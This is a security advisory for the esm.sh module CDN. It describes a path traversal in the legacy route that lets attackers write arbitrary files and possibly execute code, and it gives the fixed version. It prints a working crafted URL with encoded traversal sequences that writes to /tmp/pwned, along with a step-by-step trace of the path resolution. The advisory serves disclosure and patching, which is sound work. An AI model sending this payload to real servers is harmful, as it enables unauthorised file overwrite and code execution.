GHSA-3636-h3vx-6465 esm.sh: Legacy Route Path Traversal Can Lead to RCE

• Go github.com/esm-dev/esm.sh: < 0.0.0-20260508100112-1960055e1d53 → fixed in 0.0.0-20260508100112-1960055e1d53

Impact • Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. • Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges. Exploit The legacy router first retrieves a response from `legacyServer`, parses the incoming request path, and ultimately writes the data to storage via `buildStorage.Put` (see ). For a URL such as: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh//exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` the router concatenates the path components without sanitizing them, producing a storage key like: ``` legacy/v111/[email protected]/esnext/../../../gh//exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` When this key is used, the underlying file system resolves the relative segments and writes the file to `/tmp/pwned`. Thus an attacker can craft a request that writes data to arbitrary locations on the server. Details 1. URL Construction A crafted request is sent to the server: ``` http://ESM_SH_HOST/v111/[email protected]/esnext/..%2f..%2f..%2fgh//exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwned ``` 2. Proxy to Legacy Server The request is forwarded to: ``` http://legacy.esm.sh/v111/[email protected]/esnext/../../../gh//exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwned ``` which resolves to: ``` http://legacy.esm.sh/gh//exp@1171e85d5d/foo.md ``` 3. File Retrieval The server fetches `foo.md` from the GitHub repository `https://github.com//exp`. 4. Path Normalisation & Storage The storage path derived from the request is: ``` legacy/v111/[email protected]/esnext/../../../gh//exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwned ``` Normalising this path yields `/tmp/pwned`. The retrieved file content is then written to that location. 5. Result By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution. Credit Discovery To splitline (@\_splitline\_) from DEVCORE Research Team